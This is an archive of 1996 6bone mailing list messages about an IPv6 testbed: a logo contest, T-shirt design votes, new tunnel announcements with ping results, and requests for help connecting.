=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D
=10



From majordom@ISI.EDU  Wed Oct 16 01:04:34 1996
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Date: Wed, 16 Oct 1996 08:04:34 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone logo contest
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

Time has come to vote for the 6bone logo of your choice.  You can see them
all at:

	http://www-6bone.lbl.gov/6bone/logos/6bone_logos.html


So please email me your vote (one per customer :-) by close of your
business day, 23 October (Wed.), clearly stating which logo you want.  CC
the list if you want, I don't think this is a secret deal :-)

And please don't vote for mine; it is not really a logo, just a place holder.

The goal is to select a logo we think will look really great on the web
pages AND the T-shirts I will have made and sell (at cost) to better
advertize and motivate the world towards IPv6.

My plan is to have them for the San Jose meeting as transportation from
Berkeley is real easy for me that way.


I would also like suggestions for text to go with the logo, front and back.
And possible color for the T (I hate pure white).  Just express your own
desires.  I'll sort it out.

Also, tell me your size preference.  If I don't hear otherwise, all T's
will be X-Large as this works for everyone (even the women typically like
them extra large).

I will make some moderately large production run of these T's for sale
(again, at cost only...I'm not making money here).  So please suggest a
quantity of T's you think I should have made.


To summarize, please send me by close of your business day, 23rd October:

1.  your logo choice

2.  some suggestions for text (front and back)

3.  your color preference for the T (tho the logo may dictate this?)

4.  your size preference

5.  an estimate of how many I should have made


Thanks,

Bob



From majordom@ISI.EDU  Wed Oct 16 08:15:11 1996
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Date: Wed, 16 Oct 1996 15:15:11 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: a new 6bone logo from Jim Fleming
Cc: Jim Fleming <JimFleming@unety.net>
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

A new, very fishy, 6bone logo has just been submitted by Jim Fleming and is
now on the 6bone logo page:

	http://www-6bone.lbl.gov/6bone/logos/6bone_logos.html


Thanks,

Bob

=========================================
From: Jim Fleming <JimFleming@unety.net>
To: "'RLFink@lbl.gov'" <RLFink@lbl.gov>
Subject: 6bone logo
Date: Wed, 16 Oct 1996 16:08:28 -0500

Bob,

Feel free to copy my 6bone logo entry from...

http://doorstep.unety.net/6bone/6bone.gif

If possible, I would prefer to be an anonymous
entrant...if not, that is OK...;-)

--
Jim Fleming
UNETY Systems, Inc.
Naperville, IL

e-mail:
JimFleming@unety.net
JimFleming@unety.net.s0.g0 (EDNS/IPv8)

-



From majordom@ISI.EDU  Wed Oct 16 08:28:07 1996
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Date: Wed, 16 Oct 1996 15:28:07 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone session scheduled
Sender: owner-6bone@ISI.EDU
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Status: RO

Just received from the IETF secretariat.

Bob

======================================
Date: Wed, 16 Oct 1996 12:33:29 -0400
To: Bob Fink LBNL <RLFink@lbl.gov>
From: Marcia Beaulieu <mbeaulie@CNRI.Reston.VA.US>
Subject: SAN JOSE IETF: 6BONE BOF
Cc: mo@uunet.uu.net, sob@harvard.edu

Bob,

This is to confirm one session for 6BONE as follows:

	Tuesday, December 10 at 1530 (opposite ftpext, rip, ipsec, ion)

Marcia

-



From majordom@ISI.EDU  Fri Oct 18 06:30:08 1996
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Date: Fri, 18 Oct 1996 13:30:08 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone map change - new tunnel from CISCO/US to KIT/KZ
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

6bone drawing version 28:

	add tunnel from CISCO/US to new 6bone site KIT/KZ


This one is in Kazakhstan!  Neat!  Welcome to KIT/KZ.


Thanks,

Bob

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
=46rom: rja@cisco.com (Ran Atkinson)
Date: Fri, 18 Oct 1996 12:43:41 PDT
To: rlfink@lbl.gov
Subject: new 6bone site

Bob,

  The tunnel between KIT and cisco is now up.  The KIT entry at RIPE is now =
in
place and I just updated the cisco entry at RIPE to include the KIT data.  A
sample ping is appended below.

Ran
rja@cisco.com

----------------------------------------------------------------------
6bone-router#ping ipv6 kz-ipv6

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 5F15:3A00:C2E2:8000:0060:0080:C82F:2003,
timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max =3D 856/901/976 ms
----------------------------------------------------------------------

--



From majordom@ISI.EDU  Mon Oct 21 05:01:35 1996
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Date: Mon, 21 Oct 1996 12:01:35 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: the T-shirt
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

I would like to propose a design and some text for the Tshirt.  I want this
to help sell IPv6 at the IETF...and communicate the message that IPv6 is
successful and that there is no good reason to not "just do it" (sorry
about that, supposed to stay neutral :-)


On the front (smaller in size than the back):

                   LOGO
	       "Deploying IPv6
   The next generation step for the Internet "



On the back (larger in size than the front):

              6bone diagram

              "10 countries
        4 router implementations
        7 host implementations"


If folk in general like the idea of the counts under the map, then I need
to have an accurate count of implementations.

I believe the country count is already correct at 10.  DE, DK, FR, JP, KZ,
NL, PT, SE, UK, US.

For routers I know of Bay, Cisco, Digital and Telebit as operational at
this time on the 6bone.  That's 4.

For host implementations I know of NRL 4.4BSD-Lite, AIX, WIDE BSDI/OS,
Digital UNIX, SICS HP-UX, INRIA NetBSD, and Solaris 2 as operational at
this time on the 6bone.  That's 7.

Comments, corrections and updates appreciated.

If it's all a bad idea, please say so!


Thanks,

Bob



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Date: Mon, 21 Oct 1996 12:22:45 -0700
In-Reply-To: Bob Fink LBNL <RLFink@lbl.gov>
        "the T-shirt" (Oct 21, 12:01pm)
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On Oct 21, 12:01pm, Bob Fink LBNL wrote:
> Subject: the T-shirt
> I would like to propose a design and some text for the Tshirt.  I want this
> ...
> If folk in general like the idea of the counts under the map, then I need
> ...
> Comments, corrections and updates appreciated.

My only nit would be _iff_ you are going to put the counts on the shirt, then
you it would make sense to tie it to a frozen moment in time, i.e. "December
'96 IETF" somewhere on the shirt.

Random thoughts off the top of my head (watch for flying debris) might include
saying something like "IP Next Generation for This Generation" (probably too
cheesy) or "IP Next Generation" and cross out the "Next Generation" with an
overstrike and put "version 6" in its place -- something to the effect of
showing progress and that IPng is no longer a "futuristic" idea and is actually
happening on the Internet _now_. (Which, correct me if I'm wrong Bob, is part
of the goal of the T-shirt).


-- 
| Andrew Hoag      | MS 258-6                | Voice: (415) 604-4972 |
| Network Engineer | Moffett Field, CA 94035 |   Fax: (415) 604-4377 |
| High-Speed LAN   +------------------------+---+--------------------+
| NAS Facility     | http://www.gac.edu/~ahoag/ | ahoag@nas.nasa.gov |
--

From majordom@ISI.EDU  Mon Oct 21 05:27:53 1996
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From: templin@nas.nasa.gov (Fred L. Templin)
Message-Id: <199610211927.MAA20452@osprey.nas.nasa.gov>
To: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re:  the T-shirt
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Bob,

I like the idea for the front of the shirt, and I like the idea of the
map for the back of the shirt (any chance the 3-D VRML version of the
map would translate well to 2-D?). But, I would advocate avoiding numbers
of countries, implementations, etc. Numbers imply a static system, whereas
we're trying to give the impression of something growing dynamically.
Maybe instead of listing the numbers you could just have the VRML globe
with a caption something like: "Today the 6Bone; tomorrow the world" ??

Regards,

Fred
templin@nas.nasa.gov

From majordom@ISI.EDU  Mon Oct 21 21:45:14 1996
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Date: Mon, 21 Oct 1996 20:45:14 +0100
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From: Pedro Roque <roque@di.fc.ul.pt>
To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@ISI.EDU (6BONE Mailer)
Subject: the T-shirt
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>>>>> "Bob" == Bob Fink LBNL <RLFink@lbl.gov> writes:


    Bob> For host implementations I know of NRL 4.4BSD-Lite, AIX, WIDE
    Bob> BSDI/OS, Digital UNIX, SICS HP-UX, INRIA NetBSD, and Solaris
    Bob> 2 as operational at this time on the 6bone.  That's 7.

And Linux. That's 8.

And btw my guess is that most of that implementations can actually
route (Linux, the BSDs, Sun, etc) ... so workstation implementations
might be better.

Also you may want to get in touch with FTP software folks to see if they are
interested in being the nineth.

./Pedro.

From majordom@ISI.EDU  Mon Oct 21 10:17:30 1996
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From: Matt Crawford <crawdad@fnal.gov>
Subject: Re: the T-shirt
In-Reply-To: "21 Oct 1996 12:01:35 PDT." <"v0300780fae916bd80cba"@[128.3.9.22]>
To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@isi.edu (6BONE Mailer)
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I agree that if you have counts -- or a map -- you need a date.
You could do the rock and roll thing on the back and say


			      [[ MAP ]]

			   IPv6 World Tour
			    October 1996
	     Denmark                         Kazakhstan
	      (site)                           (site)
	      (site)                         Netherlands
	     France                            (site)
	      (site)                           (site)
	      (site)                           . . .
              (site)
              . . .


Here's a possible quip for the front:

		   [[ LOGO ]]
		"Now We Are Six"

Re: colors: yes, plain white is putrid.  And *everyone* does gray.
How about a light blue?
				Matt
	     My computer can display 24 million colors.
		      I can name eight of them.

From majordom@ISI.EDU  Mon Oct 21 07:02:28 1996
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Cc: Bob Fink LBNL <RLFink@lbl.gov>, 6bone@isi.edu (6BONE Mailer),
        deering@parc.xerox.com
Subject: Re: the T-shirt 
In-Reply-To: crawdad's message of Mon, 21 Oct 96 13:17:30 -0800.
             <199610212017.PAA00401@gungnir.fnal.gov> 
Date: Mon, 21 Oct 1996 14:02:28 PDT
From: Steve Deering <deering@parc.xerox.com>
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> Here's a possible quip for the front:
> 
> 		   [[ LOGO ]]
> 		"Now We Are Six"


I like that!  (The Internet as Christopher Robin.)

> Re: colors: yes, plain white is putrid.  And *everyone* does gray.
> How about a light blue?

If we're voting on colors, I vote for a dark color, e.g., navy, maroon,
or dark green.

Steve


From majordom@ISI.EDU  Mon Oct 21 07:14:55 1996
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Date: Mon, 21 Oct 1996 14:14:55 -0700
From: templin@nas.nasa.gov (Fred L. Templin)
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To: 6bone@ISI.EDU
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> with a caption something like: "Today the 6Bone; tomorrow the world" ??

I've been informed in a private e-mail exchange that the "Today X,
tomorrow the world" slogan was borne in the Nazi era in Germany, and
may be offensive to some. Since I had no intentions of alluding to the
6bone efforts as a facsist takover, I'd like to withraw this proposal
immediately and apologize in advance for anyone who found the suggestion
offensive. So far, my vote goes to a "IPv6 World Tour" theme ala' Matt
Crawford's suggestion. (But, unlike Matt, I vote for gray tee-shirts!)

Regards,

Fred
templin@nas.nasa.gov

From majordom@ISI.EDU  Mon Oct 21 07:27:31 1996
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In-Reply-To: Steve Deering <deering@parc.xerox.com>
        "Re: the T-shirt" (Oct 21,  2:02pm)
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> If we're voting on colors, I vote for a dark color, e.g., navy, maroon,
> or dark green.

Dark green would look sharp and not be that common. Either that or navy as my
second vote. I'm sick of the white/black Ts.

-- 
| Andrew Hoag      | MS 258-6                | Voice: (415) 604-4972 |
| Network Engineer | Moffett Field, CA 94035 |   Fax: (415) 604-4377 |
| High-Speed LAN   +------------------------+---+--------------------+
| NAS Facility     | http://www.gac.edu/~ahoag/ | ahoag@nas.nasa.gov |
--

From majordom@ISI.EDU  Mon Oct 21 11:13:08 1996
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Date: Mon, 21 Oct 1996 18:13:08 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone map change - new tunnel from NRL/US to new site CAIRN/US
Cc: Suresh Bhogavilli <suresh@ISI.EDU>
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6bone drawing version 29:

	new tunnel from NRL/US to new 6bone site CAIRN/US (USC-ISI-


Welcome to USC/ISI east!


Thanks,

Bob
=3D=3D=3D=3D=3D=3D
To: RLFink@lbl.gov
Cc: mankin@isi.edu, tgibbons@isi.edu
Subject: 6bone map update
Reply-To: suresh@isi.edu
Date: Mon, 21 Oct 1996 16:22:41 EDT
=46rom: Suresh Bhogavilli <suresh@ISI.EDU>


Bob,

CAIRN project is now connected to the 6bone through a tunnel
between USC/ISI east and NRL. Can you update the 6bone map
to reflect this? Our prefix is:   5f1b:a900::0/32

This is the ping data:

sol(65):suresh% ping -s 5f00:3000:84fa:5a00::5
PING 5f00:3000:84fa:5a00::5: 56 data bytes
104 bytes from 5f00:3000:84fa:5a00::5: icmp_seq=3D0. time=3D36 ms
104 bytes from 5f00:3000:84fa:5a00::5: icmp_seq=3D1. time=3D30 ms
104 bytes from 5f00:3000:84fa:5a00::5: icmp_seq=3D2. time=3D30 ms
104 bytes from 5f00:3000:84fa:5a00::5: icmp_seq=3D3. time=3D33 ms
^C
----5f00:3000:84fa:5a00::5 PING Statistics----
4 packets transmitted, 4 packets received, 0% packet loss
round-trip (ms)  min/avg/max =3D 30/32/36

Thanks,
Suresh



From majordom@ISI.EDU  Mon Oct 21 19:54:05 1996
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To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@ISI.EDU (6BONE Mailer)
Subject: Re: the T-shirt 
In-Reply-To: Your message of "Mon, 21 Oct 96 12:01:35 PDT."
             <v0300780fae916bd80cba@[128.3.9.22]> 
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Bob,

I like the idea a lot.  I like all the ideas suggested so I don't care
much which way we go.  But the logo and map is a good idea too and the
implementations too.  Colors.. Don't care but I agree White is a bit
overdone.  

But most important I want to purchase 3 of them so I can wear them all 
week (size large).

Nice of you to do this for us too.  Pretty cool!!!!!

thanks
/jim

From majordom@ISI.EDU  Tue Oct 22 20:30:29 1996
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From: Igor Sharfmesser <igor@kit.kz>
Message-Id: <199610220830.OAA23794@mail.kit.kz>
Subject: Re: the T-shirt
To: 6bone@isi.edu
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Nice idea. I vote for any logo and map. 

Saying about colors, it would be nice if have t-shirts in 
two or three t-shirts different colors.

Igor


From majordom@ISI.EDU  Tue Oct 22 03:51:28 1996
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From: Jack McCann USG <mccann@zk3.dec.com>
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> 1.  your logo choice

http://www-6bone.lbl.gov/6bone/logos/stpierre2.jpg

> 2.  some suggestions for text

IPv6: We've got it now!
IPv6: It's alive!
IPv6: It has arrived!
IPv6: It's here, it's now, it's happening!
IPv6 here and now
IPv6 now!
IPv6 lives!
IPv6: live on the 6bone!

Whew, I really should cut out that 4th cup of coffee...

> 3.  your color preference

I like Steve's suggestion of something dark (green? blue? maroon?)

> 4.  your size preference

XL in a nice heavy tshirt sounds good

> 5.  an estimate of how many I should have made

I'm good for a couple

- Jack


From majordom@ISI.EDU  Tue Oct 22 05:12:44 1996
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To: 6bone@isi.edu
Subject: configuring a router
Date: Tue, 22 Oct 1996 09:12:44 -0400
From: Masaki Hirabaru <masaki@merit.edu>
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6bone folks,

I'd like to ask a question about how to specify a peer address in
a router configuration. In the previous discussion on ripng, I
understand p-to-p links including a tunnel may also have a
link-local address. Which address should be used in configuring a
router, global address, link-local address, or both?

I can agree that all routing update packets should have a
link-local source address, but even in that case, should we use a
link-local address to specify the peer? I know the use of
link-local address makes peer's renumbering easy, but I think
it's also true a link-local address sometimes changes, for
example, by replacing an interface card. Does someone have an
idea?

Masaki

From majordom@ISI.EDU  Wed Oct 23 02:18:35 1996
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Subject: Another tought on t-shirt
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What about 6bone: Get Connected! above or below the map?

Igor

From majordom@ISI.EDU  Tue Oct 22 16:35:52 1996
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From: "Alain Durand" <Alain.Durand@imag.fr>
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Date: Tue, 22 Oct 1996 15:35:52 +0100
In-Reply-To: Jack McCann USG <mccann@zk3.dec.com>
        "Re: 6bone logo contest" (Oct 22,  7:51am)
References: <9610221151.AA17953@wasted.zk3.dec.com>
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I like the idea a lot. I like the map & the world tour idea.
Colors? dark green is my favorite.
I'll order probably many of them, several folks in the G6 will
like to have it.

	- Alain.

From majordom@ISI.EDU  Tue Oct 22 03:40:51 1996
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Date: Tue, 22 Oct 1996 08:40:51 -0500
From: Matt Crawford <crawdad@fnal.gov>
Subject: Re: the T-shirt
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 <"9610211427.ZM20233"@rennsport.nas.nasa.gov>
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I can live with the green.

From majordom@ISI.EDU  Tue Oct 22 12:31:23 1996
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Subject: Re: the T-shirt
To: 6bone@ISI.EDU
Date: Tue, 22 Oct 1996 16:31:23 -0400 (EDT)
From: Ronald Lee <ronlee@CS.NRL.NAVY.MIL>
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Gang,

I prefer the traditional white, because I picked Brad St Pierre's main
logo which looks great in a white background.  Gray (another favorite choice
of mine) might do nicely.

These days I prefer t-shirts that have a small logo over the heart rather
than something like Superman's 'S'.

The backside can be a larger logo with more text (e.g. the world tour
idea sounds good).

If Brad has time, maybe he can show us what other color arrangements
are possible with the "dark colors" tee's.

Since I like my t-shirts loose and made of the tuff stuff, 
a heavy-weight XL is desired.

Whelp, them's my picks.  Thanks!

Ron
ronald.d.lee@nrl.navy.mil

From majordom@ISI.EDU  Tue Oct 22 06:52:52 1996
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Date: Tue, 22 Oct 1996 13:52:52 -0700
From: templin@nas.nasa.gov (Fred L. Templin)
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About sizes, I'd like to request that a few be made up in XXL. I'll
bone up for two XXL T-shirts myself; don't know if any others need
this size...

Regards,

Fred
templin@nas.nasa.gov

From majordom@ISI.EDU  Tue Oct 22 07:13:16 1996
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Subject: Re: the T-shirt
To: templin@nas.nasa.gov (Fred L. Templin)
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In-Reply-To: <199610222052.NAA24412@osprey.nas.nasa.gov> from "Fred L. Templin" at Oct 22, 96 01:52:52 pm
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	I'll go along with Fred on XXL.

	Dave


According to Fred L. Templin:
> 
> About sizes, I'd like to request that a few be made up in XXL. I'll
> bone up for two XXL T-shirts myself; don't know if any others need
> this size...
> 
> Regards,
> 
> Fred
> templin@nas.nasa.gov
> 


From majordom@ISI.EDU  Wed Oct 23 11:36:44 1996
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Date: Wed, 23 Oct 1996 10:36:44 +0100
From: colinj@parc.anglia.ac.uk (Colin Johnston)
Message-Id: <199610230936.KAA00737@maverick.parc.anglia.ac.uk>
To: 6bone@isi.edu
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Hi,
I have setup IPv6 on a SUN Ultra machine and Sparc10MP machine for about 6 
months now. Everything seems stable and lots of tests have been done.

How do I tunnel into the 6bone for tests etc.

There seems to be no 6bone tunnels in the UK at present ??

I am new to using the the RIPE registery and cannot make the ftp 
quote site gpass ***** command work.

Any ideas

Thanks
Colin Johnston
PARC Research Team
Anglia Polytechnic University
UK

From majordom@ISI.EDU  Wed Oct 23 16:14:12 1996
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From: "Alain Durand" <Alain.Durand@imag.fr>
Message-Id: <961023151412.ZM5783@rama.imag.fr>
Date: Wed, 23 Oct 1996 15:14:12 +0100
In-Reply-To: templin@nas.nasa.gov (Fred L. Templin)
        "Re: the T-shirt" (Oct 22,  1:52pm)
References: <199610222052.NAA24412@osprey.nas.nasa.gov>
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Hi

I have made a little tool to help buiding IPv6 routes in the 6-bone.
It uses the RIPE database to compute the shortest paths from a node
to another one. Currently, all local metrics are set to one.

Example:
=== path from G6 to CAIRN (5f1b:a900::0/32) : cost 3

    G6-(1)->CISCO-(1)->NRL-(1)->CAIRN
    G6-(1)->NIST-(1)->NRL-(1)->CAIRN
    G6-(1)->UL-(1)->NRL-(1)->CAIRN
    G6-(1)->UNH-(1)->NRL-(1)->CAIRN

This tools is avalaible at http://www.ipv6.imag.fr/route.html

I would like to modify the output to give more info, I'm just not sure
what is really relevant. Suggestions are welcome.

	- Alain.

From majordom@ISI.EDU  Wed Oct 23 00:56:23 1996
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References: templin@nas.nasa.gov (Fred L. Templin)        "Re: the
 T-shirt" (Oct 22,  1:52pm) <199610222052.NAA24412@osprey.nas.nasa.gov>
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Date: Wed, 23 Oct 1996 07:56:23 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: Tool to help building routes
Cc: "Alain Durand" <Alain.Durand@imag.fr>
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I have put a pointer to Alain's very neat v6 route tool on the 6bone homepag=
e.

This is a great tool!!


Thanks Alain,

Bob


=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
At 7:14 AM -0700 10/23/96, Alain Durand wrote:
>Hi
>
>I have made a little tool to help buiding IPv6 routes in the 6-bone.
>It uses the RIPE database to compute the shortest paths from a node
>to another one. Currently, all local metrics are set to one.
>
>Example:
>=3D=3D=3D path from G6 to CAIRN (5f1b:a900::0/32) : cost 3
>
>    G6-(1)->CISCO-(1)->NRL-(1)->CAIRN
>    G6-(1)->NIST-(1)->NRL-(1)->CAIRN
>    G6-(1)->UL-(1)->NRL-(1)->CAIRN
>    G6-(1)->UNH-(1)->NRL-(1)->CAIRN
>
>This tools is avalaible at http://www.ipv6.imag.fr/route.html
>
>I would like to modify the output to give more info, I'm just not sure
>what is really relevant. Suggestions are welcome.
>
>	- Alain.
- end



From majordom@ISI.EDU  Wed Oct 23 13:09:40 1996
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Date: Wed, 23 Oct 96 17:09:40 EDT
From: Alex Latzko <latzko@marsenius.rutgers.edu>
To: 6bone@isi.edu
Subject: connection
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I would like to find a place to connect to the 6bone.  Physically 
we're in central NJ, emotionally on Uunet.

Please point me in the correct direction.

thanks
alex

latzko@hardees.rutgers.edu 		 {backbone}!rutgers!latzko
Alex Latzko		908/445 5021 (voice) 	908/445 2968 (fax)
Rutgers University Computing Services TD:NOG
PO Box 0879, Piscataway, NJ 08855-0879

From majordom@ISI.EDU  Wed Oct 23 07:44:43 1996
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Date: Wed, 23 Oct 1996 14:44:43 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone logo - Brad St. Pierre design wins!
Cc: "Brad St. Pierre" <brads@webwurx.com>
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The great logo contest is over!  The Brad St. Pierre design (the first of
his 3) has won by about a two to one margin over the Gustavo Sanchez Gomez
logo (which happened to be my favorite).  The other designs received about
one or two votes each.

Congratulations and thanks to Brad!!


My thanks also to all the logo designers!  Their efforts are for a good cause.

I intend to leave the logos page up, tho I have changed the logo on the
6bone pages to Brad's (ignore its scaling; I'll get it right eventually).


Thanks,

Bob



From majordom@ISI.EDU  Wed Oct 23 10:21:57 1996
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Date: Wed, 23 Oct 1996 17:21:57 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Tshirt info on 6bone web page
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6bone folk:

I've put up a few pages showing the Tshirt layout I'm planning.  See the
bottom of the 6bone main web page for the pointer.

Corrections, additions, slings and arrows all received gratefully.

My first cut of countries and sites may have missed someone.  I'm also
erring on the side of including those that assure me they are in progress.
If I've missed anyone, my apologies.  Just let me know :-)


Thanks,

Bob



From majordom@ISI.EDU  Wed Oct 23 10:36:58 1996
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From: "Andrew J. Hoag" <ahoag@nas.nasa.gov>
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Date: Wed, 23 Oct 1996 17:36:58 -0700
In-Reply-To: Bob Fink LBNL <RLFink@lbl.gov>
        "Tshirt info on 6bone web page" (Oct 23,  5:21pm)
References: <v03007800ae9466885c0d@[128.3.9.22]>
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On Oct 23,  5:21pm, Bob Fink LBNL wrote:
> Subject: Tshirt info on 6bone web page
>
> [ plain text
>   Encoded with "quoted-printable" ] :
6bone folk:
>
> I've put up a few pages showing the Tshirt layout I'm planning.  See the
> bottom of the 6bone main web page for the pointer.
>
> Corrections, additions, slings and arrows all received gratefully.

Looks absolutely great Bob!!

Sign me up for 2 XL!!

-- 
| Andrew Hoag      | MS 258-6                | Voice: (415) 604-4972 |
| Network Engineer | Moffett Field, CA 94035 |   Fax: (415) 604-4377 |
| High-Speed LAN   +------------------------+---+--------------------+
| NAS Facility     | http://www.gac.edu/~ahoag/ | ahoag@nas.nasa.gov |
--

From majordom@ISI.EDU  Fri Oct 25 01:36:24 1996
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References: Bob Fink LBNL <RLFink@lbl.gov>        "Re: Tshirt info on
 6bone web page" (Oct 24,  6:57am) Bob Fink LBNL <RLFink@lbl.gov> 	"Tshirt
 info on 6bone web page" (Oct 23   5:21pm)
 <v03007800ae9466885c0d@[128.3.9.22]> 	<v03007800ae9525b04882@[128.3.9.22]>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
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Date: Fri, 25 Oct 1996 08:36:24 -0700
To: "Andrew J. Hoag" <ahoag@nas.nasa.gov>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: Tshirt info on 6bone web page
Cc: 6bone@isi.edu (6BONE Mailer)
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

Andrew,

At 11:20 AM -0700 10/24/96, Andrew J. Hoag wrote:
=2E..
>Well if the lines are black (best contrast on light blue background), what
>color would you like the globe to be?

I still think green would be great (green earth and all that warm and fuzzy
environmental stuff).


>A view centered on about Greenland (find a globe and try it if you don't ha=
ve
>VRML) will display Europe and US about the same, with 3 huge tunnels going
>over
>the horizon to Japan.  You can see a .jpg of it on the web at:
>
>http://www.ipv6.nas.nasa.gov/viz/t-shirt/
>
>There is the europe-usa.jpg view and a npole.jpg view (North Pole
>centered). My
>personal preference is the europe-usa view ... The colors could probably be
>tweaked in either one as needed.

Wow!  These are both fantastic!


>If we want we can throw this out on the list... Any thoughts?

Ok, to the list.


6bone folk:

Look at Andrew's globe views and say which you like best.  I vote for the
Europe-USA version.


Thanks,

Bob



From majordom@ISI.EDU  Fri Oct 25 19:20:38 1996
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From: "Alain Durand" <Alain.Durand@imag.fr>
Message-Id: <961025182039.ZM8846@rama.imag.fr>
Date: Fri, 25 Oct 1996 18:20:38 +0100
In-Reply-To: Bob Fink LBNL <RLFink@lbl.gov>
        "Re: Tshirt info on 6bone web page" (Oct 25,  8:36am)
References: Bob Fink LBNL <RLFink@lbl.gov> 
	"Re: Tshirt info on 6bone web page" (Oct 24   6:57am) Bob Fink LBNL <RLFink@lbl.gov> 	"Tshirt info on 6bone web page" (Oct 23   5:21pm) <v03007800ae9466885c0d@[128.3.9.22]> 
	<v03007800ae9525b04882@[128.3.9.22]> 
	<v0300780cae968dc8f1e0@[128.3.9.22]>
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To: 6bone@ISI.EDU (6BONE Mailer)
Subject: Re: Tshirt info on 6bone web page
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My vote goes for the Europe-Usa version.
A dark green T-shirt with a light bleu earth will be terrific!

	- Alain.

From majordom@ISI.EDU  Fri Oct 25 19:27:28 1996
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From: "Alain Durand" <Alain.Durand@imag.fr>
Message-Id: <961025182728.ZM8979@rama.imag.fr>
Date: Fri, 25 Oct 1996 18:27:28 +0100
In-Reply-To: "Alain Durand" <Alain.Durand@imag.fr>
        "Re: Tshirt info on 6bone web page" (Oct 25,  6:20pm)
References: Bob Fink LBNL <RLFink@lbl.gov> 
	"Re: Tshirt info on 6bone web page" (Oct 24   6:57am) Bob Fink LBNL <RLFink@lbl.gov> 	"Tshirt info on 6bone web page" (Oct 23   5:21pm) <v03007800ae9466885c0d@[128.3.9.22]> 
	<v03007800ae9525b04882@[128.3.9.22]> 
	<v0300780cae968dc8f1e0@[128.3.9.22]> 
	<961025182039.ZM8846@rama.imag.fr>
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To: 6bone@ISI.EDU (6BONE Mailer)
Subject: Re: Tshirt info on 6bone web page
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Just wondering: is the 3-D map up to date?

	- Alain.

From majordom@ISI.EDU  Fri Oct 25 04:22:55 1996
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References: "Alain Durand" <Alain.Durand@imag.fr>        "Re: Tshirt info
 on 6bone web page" (Oct 25,  6:20pm) Bob Fink LBNL <RLFink@lbl.gov> 	"Re:
 Tshirt info on 6bone web page" (Oct 24   6:57am) Bob Fink LBNL
 <RLFink@lbl.gov> 	"Tshirt info on 6bone web page" (Oct 23   5:21pm)
 <v03007800ae9466885c0d@[128.3.9.22]> 
 <v03007800ae9525b04882@[128.3.9.22]> 
 <v0300780cae968dc8f1e0@[128.3.9.22]> 	<961025182039.ZM8846@rama.imag.fr>
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Date: Fri, 25 Oct 1996 11:22:55 -0700
To: "Alain Durand" <Alain.Durand@imag.fr>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: Tshirt info on 6bone web page
Cc: 6bone@ISI.EDU (6BONE Mailer)
Sender: owner-6bone@ISI.EDU
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At 10:27 AM -0700 10/25/96, Alain Durand wrote:
>Just wondering: is the 3-D map up to date?

It will be before the final cut so Andrew implies (Andrew?).


Bob



From majordom@ISI.EDU  Fri Oct 25 05:28:15 1996
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From: rja@cisco.com (Ran Atkinson)
Date: Fri, 25 Oct 1996 12:28:15 PDT
X-Mailer: Mail User's Shell (7.2.5 10/14/92)
To: rlfink@lbl.gov
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Bob,

  I've updated the CISCO entry at RIPE.  There are three new tunnels
that now work (example pings appended below):
        Xerox PARC
        National University of Singapore (NUS-IRDU)
        Sumitomo (SUMITOMO-USA)

  If you could update the map accordingly when time permits, 
that would be much appreciated.

All,

  If sites carrying full routing could add the appropriate routing
table entries, that would be appreciated.

Regards,

Ran
rja@cisco.com

----------------------------------------------------------------------
6bone-router#ping ipv6 sumitomo-usa-ipv6

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 5F02:BD00:C054:7600::5FEC:44F4, timeout is 2
seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 8/8/12 ms

6bone-router#ping ipv6 nus-ipv6

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 5F0E:AE00:8984::0013:0020:AFA6:8E68, timeout
is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 260/305/356 ms

6bone-router#ping ipv6 xerox-parc-ipv6

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 5F11:D000:CCA2:E400:0001:0800:2009:7B1D,
timeout is 2 seconds:
!!!!!
